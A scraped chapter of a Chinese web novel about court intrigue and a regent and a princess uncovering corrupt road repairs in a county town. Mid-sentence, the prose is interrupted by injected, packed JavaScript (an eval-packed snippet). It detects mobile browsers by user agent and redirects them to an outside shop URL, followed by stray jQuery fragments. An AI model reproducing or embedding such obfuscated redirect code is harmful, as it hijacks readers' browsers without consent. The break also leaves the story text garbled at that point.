皇帝旋即看向一直低眉的宋珏,下巴抬了抬,示意他回答。
宋珏恭敬一礼朝皇帝道:“回父皇,儿臣选择,先修先皇陵。”
“传旨世家‘自愿’为皇陵添砖加瓦,以供后世史书记载君臣合心,招募灾区百姓参与皇陵修建,政府为百姓灾后重建,此乃官民一心,再向商贾借贷供前线将士。”
“荒唐!”胤王不屑地喝道:“世家凭什么向朝廷捐款?再说,向商贾借贷,不怕皇权受制于铜臭?”
皇帝静静地听着,没有出声,等着宋珏的解释。
宋珏只是微微一笑,仍旧恭恭敬敬地和胤王解释:“皇兄多虑了,一家捐,百家捐,谁不捐岂非是让后世唾骂?至于商贾,皆是我大燕子民,为国出力有何不可?皇权至高无上,怎可能轻易受制于人?”胤王闻言顿时想不出反驳的话,倒是小瞧了老四,竟有这般溜的嘴皮子,先前总是顾着和老三斗,倒是没有来得及关注他。
幽林间,枯枝落叶在马车辙的碾压下形成了一条枯黄的小道,冷寒月光透过密匝匝的竹叶洒下斑驳月光。
空地上支起了一团小小的火堆,时不时发出噼啪的声响,火光映出女子姣好的侧颜,头偏向一处,呼吸平稳,睡得深沉。
周景珩靠在一棵树旁,胸前抱着剑,看着谢疏桐,眼神意味不明,倒是心大,如此荒野,一个弱女子也敢轻易睡过去。
瞧着她乖顺的睡颜,周景珩心中啧啧,她是不是只有在睡着才会露出如此乖顺的一面?
看着看着便出了神,连凌风何时到了身后都不知晓,直至后者拍了拍他才反应过来,凌风小声问:“王爷,您此番出来为何非要捎上郡主?”
树上放哨的凌延冷不丁呛了句:“没心肝的东西,王爷的心事哪里是你能揣测的?”
周景珩黑着脸瞪了眼凌延,却难得没反驳。
他也不知晓为何非要给这姑娘捎出来,许是京城太聒噪,太算计了些,她……
也紧绷了些……
在他印象里,她还是该是那个与世无争,没心没肺乐呵呵的谢大小姐,而非成日斡旋于争斗的贞宁郡主。
想着他忍不住捏了捏眉心,想他堂堂摄政王,居然如此关照一个姑娘家的心思,不正常,太不正常了。
凌风又不适时地凑过来幽幽道:“王爷,还说您不是早就对郡主心怀不轨?”
他早就怀疑,奈何自家主子嘴硬的很,一开始见谢疏桐终于放下楚王了,周景珩便说拉拢谢家的时机到了,打着逢场做戏的名号便跑去表明心意了。
如今这戏也被谢疏桐拆了,谢家也拉拢到了,这周景珩反而对谢疏桐更上心了……
可周景珩这身份,哪里是能轻易和大燕世家女扯上关系的?
周景珩深知这一点,也是凭着这一点在麻痹着自己,安慰着自己不会轻易喜欢一个人,可奈何自己做的事总是违背常理。
深夜明王府,
宋珏捏着手中的摄政字样的玉牌,久久难以回神,从落魄皇子到掌权,他只用了几个月,却准备了十年……
没有轰轰烈烈,没有血流成河,只是些许勾心斗角罢了,可他明白,今日过后,便不止勾心斗角了,他拿到了周景珩离开后的摄政权,意味着撕开了皇子间平和的遮羞布,血的光影,不日便会纷至沓来。
次日晨雾熹微,周景珩和谢疏桐一行到了桦县,周景珩包下了间酒楼后被谢疏桐埋怨了一番,“你如此声势浩大,可是想把这酒楼牌匾也换成你摄政王府的字样?”
周景珩却调笑着让她放松些,此处不是京城。
外头稀稀疏疏飘了些许雪花,大燕少雪,谢疏桐也新鲜地趴在窗棂前瞧着,身后周景珩的话却极煞风景,“不过是些霜花罢了,有什么可看的。”
谢疏桐却兴致不减,伸出手去,任由霜花飘落指尖,嘴上还不忘回怼着他:“王爷见多识广,自然是不屑,小女子不才,见识短浅,一生也没见过几次雪。”
周景珩扫向外头,不知想到什么,目光淡淡收回,凤眸眯了眯,声音沉沉:“说得你好似活了多久似的,世人谓雪以玉尘之美名,可惜它却最是虚伪凉薄,融化之后,无非是那死去的雨罢了。”
谢疏桐意外回头,周景珩向来一副乖张的模样,少见他如此消极的模样,脑海里不禁浮现他中秋夜下那副神情,孤独,冰冷的神情。
他怎么能释怀呢?
十数年前那场大雪,埋葬了他的血亲,满天的霜花,夹杂着阴谋诡计,给周家军数十万将士一场盛大的葬礼。
那场雪后,将军府幼子,成了定王府遗孤。懵懂少年也成了凌厉的锋刀。
谢疏桐见他这副神情,更加确信了眼前的人藏着心事,可她没有问,只是淡笑一声,转身看向窗外自顾自说:“盖尽人间恶路岐。”
“有岁雪后,山河作新宣,雪能盖尽世间肮脏,粉饰一切不平,雪后是无尽曦光,周景珩你也该换个角度看看。”
谢疏桐轻轻的,淡淡的,她背对着他,不见脸上的情绪,可那些话就这外头的雪一般,寸寸透骨,丝丝传凉。
便是在这么一霎时,周景珩突然就意识到了,于他而言,她总是不一样的,就像多年前那场雪,唯一的变数,唯一的插曲,便是她将他带回了家,黑夜前给予了他片刻黎明……
周景珩意识到后只觉心脏猛然一缩,陌生的悸动让他无所适从,他急急走了出去,走到外头冷风灌进鼻腔,才让他冷静了下来。
这般难以自控的异样,是为他所不喜的,却难以解释源头。
酒楼门前时有枣红色的骏马飞驰而过,溅起路边的沙石,一时之间,尘土飞扬。
周景珩见状皱了皱眉,对面路边,瞧了那破碎的路面,蹲下身去捻了捻土,眸色深了几分。
谢疏桐从楼上下来漫不经心走到酒楼掌柜面前,要了壶茶,佯装不经意间提起:“掌柜的,这桦县的路怎么一路下来,这路边都是破碎的。”
掌柜的摆摆手,一脸嫌弃地说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013441|194172||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着:“别说了,这路早几年还是好的,县里的大人说要按什么朝廷里的新规修整便开始动工了,这些大口子挖到现在也没填回去,也不知修了些什么,好好的路给整成这般模样。”
小二端着茶嘀咕着说:“大人们说是朝廷亏空啊,没银子派下来,只能我们现在里自己掏钱,这才拖着。”
周景珩进来刚好听了这么一句,淡淡问着:“桦县养蚕育丝发家,每年向朝廷申报的耕银数目也大,农户拿钱,县府拿丝上供,怎么这桦县竟是这般模样?”
说到这,掌柜的和小二的相视一眼,都没讲话了,低着头做自己的事。
回房后,谢疏桐沉着声道:“民生艰难,路政不修,小小县城腐败成这般模样当真是好大的胆子。”说着便看向周景珩:“这就是你如今来的原因?为了查这事?”
周景珩没讲话,他只是知晓桦县是胤王母族盘踞的地方,便准备来碰碰运气,顺道把谢疏桐带出来透透气。
却不曾想当真让他撞上了大运。
周景珩若有所思后道:“修路的命令应当是本王数年前发布的政令,目的是为了规范部分地方道路等级,可桦县道路原本便符合规定,为何还要再削减宽度?”
谢疏桐也被问住了,愣了一下,是啊,路小了对他们有什么好处呢?想着,谢疏桐缓缓走到窗前,从高处望去,能瞧见从城门而来这直直的道路的模样,不知发现了什么,谢疏桐眼睛眯了眯,思虑片刻,她唇角微勾。
缓缓将窗关上,转身对周景珩道:“他们修路,是将路的左侧,多余的路面敲碎成碎石块,有的已经将碎石搬走,留下槽,有的却还没有来得及搬走,而是破碎地铺在原地。”谢疏桐说着神秘一笑,问:“王爷猜,那些搬走的石块,去哪了?”
周景珩闻言举着茶杯的手骤然一紧,指节泛白,眼神深邃了几分,语气轻飘飘:“你是说,他们要石材?”
谢疏桐未答,只是微微一笑,两人心领神会。
傍晚小二送上晚膳时,谢疏桐便问了:“小二,你们这桦县最大的府宅在哪?”鉴于早间谢疏桐和周景珩打听的问题,小二眼神里多了几分防备,谢疏桐见状忙解释着说:“我家主君是个商人,家中有些产业,如今这便是来广交朋友做生意的。”
小二听后略略一想,周景珩确实气度非凡,不像寻常人家的子弟,这才放下戒心,讪讪一笑:“原来如此,夫人也莫怪小的多疑,实在是以前隔壁郡县的时不时派人来捉县令的错处,也到处打听。”
说着小二面露难色:“也不想想,县令那是和胤王沾着关系的,一年到底给上头大人打点了多少,那是轻易能扳倒的?”说着他想到什么,压低了声音神神秘秘得说:“听说摄政王也是收了县令不少奇珍异宝,这才睁一只眼闭一只眼,你说这王爷是什么人,这大燕都是他话事了,他都默许谁还有意见。”
谢疏桐顿时语塞,周景珩早听了小二的话险些没一口茶喷出来,强装着镇定,内心却早已坐不住了。